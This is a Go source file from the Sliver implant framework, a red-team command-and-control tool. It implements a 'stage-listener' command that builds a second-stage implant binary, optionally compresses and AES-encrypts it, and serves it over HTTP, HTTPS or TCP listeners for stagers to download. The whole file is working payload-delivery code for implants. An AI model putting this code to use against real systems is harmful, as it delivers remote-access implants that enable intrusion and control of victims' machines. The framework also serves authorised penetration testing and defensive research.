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stage.go
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stage.go
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package jobs
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"github.com/bishopfox/sliver/util/encoders"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
return
}
// parse listener url
stagingURL, err := url.Parse(listenerURL)
if err != nil {
con.PrintErrorf("Listener-url format not supported")
return
}
stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32)
if err != nil {
con.PrintErrorf("error parsing staging port: %v\n", err)
return
}
profile := generate.GetImplantProfileByName(profileName, con)
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorrect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorrect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = encoders.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
return
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
con.PrintErrorf("Failed to load local certificate %s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTPS,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_TCP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting TCP staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (tcp) started\n", stageListener.GetJobID())
default:
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}